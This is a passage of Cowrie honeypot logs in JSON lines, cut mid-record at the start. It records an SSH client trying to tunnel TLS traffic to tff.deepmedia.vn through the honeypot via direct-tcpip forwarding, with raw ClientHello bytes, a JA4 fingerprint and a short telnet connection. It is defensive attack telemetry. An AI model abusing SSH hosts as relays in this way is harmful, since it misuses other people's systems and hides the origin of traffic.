\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\x1d\\x11\\x02\\xe7\\xeec\\xef\\xba\\\\h\\x19\\xa6h\\xc8\\xdfY\\x1e=*2g%p\\x15\\xd0\\x030\\xa9\\xc1\\xb0I\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x16\\x8f\\xe9!\\xcd#\\xd3\\xa6\\xf5\\xc4\\xef\\\\\\x8a\\xe1\\x82\\x1e\\xae\\xc4\\xed\\xa0\\x8d\\xb9\\xed\\xfc\\xab\\xd3X\\x9a\\xbd\\xe1\\xca\\x16 s\\xf1\\xa0\\xd5l\\xa9~:\\xb2\\xa3Fw\\x156\\xb7\\xb9\\xa5&ZJ\\xe4\\xc7\\xbe^O\\xf6\\xb7{E\\xe4\\xd4B\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\x1d\\x11\\x02\\xe7\\xeec\\xef\\xba\\\\h\\x19\\xa6h\\xc8\\xdfY\\x1e=*2g%p\\x15\\xd0\\x030\\xa9\\xc1\\xb0I\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:56.831314Z","src_ip":"113.164.152.20","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:57.102877Z","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:57.370713Z","src_ip":"113.164.152.20","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xe2\\xf8D\\xe53\\x05\\xe4\\xa2N\\x9bQ0\\xa0\\xb37]\\xd4o\\xe3Bk\\xe6<tt5\\t\\x91$:\\xe9 P\\xb3-^\\x9a/D\\xfa\\xdf\\xae\\xb1\\x8b\\x1d\\x0c\\xcf\\xda:\\xa6\\xddB\\xc4\\xf5E\\xcb\\x84\\x87\\xfba\\xf51\\xc6\\xe6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb4\\\\^G\\xa4\\xc7\\xbc\\x1e/~n\\xd2?\\xbc\\xd1\\xe5\\x9aJ\\xfc\\xcd\\x9f\\xf1\\xf7&\\xed]V\\x88\\x06\\x1c\\xbd\\x05\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xe2\\xf8D\\xe53\\x05\\xe4\\xa2N\\x9bQ0\\xa0\\xb37]\\xd4o\\xe3Bk\\xe6<tt5\\t\\x91$:\\xe9 P\\xb3-^\\x9a/D\\xfa\\xdf\\xae\\xb1\\x8b\\x1d\\x0c\\xcf\\xda:\\xa6\\xddB\\xc4\\xf5E\\xcb\\x84\\x87\\xfba\\xf51\\xc6\\xe6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb4\\\\^G\\xa4\\xc7\\xbc\\x1e/~n\\xd2?\\xbc\\xd1\\xe5\\x9aJ\\xfc\\xcd\\x9f\\xf1\\xf7&\\xed]V\\x88\\x06\\x1c\\xbd\\x05\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:57.374195Z","src_ip":"113.164.152.20","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37714,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b107cad035","protocol":"telnet","message":"New connection: 172.81.62.90:37714 (159.203.135.109:23) [session: 12b107cad035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:57.439989Z"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:57.858853Z","src_ip":"113.164.152.20","session":"542164428142","protocol":"ssh"}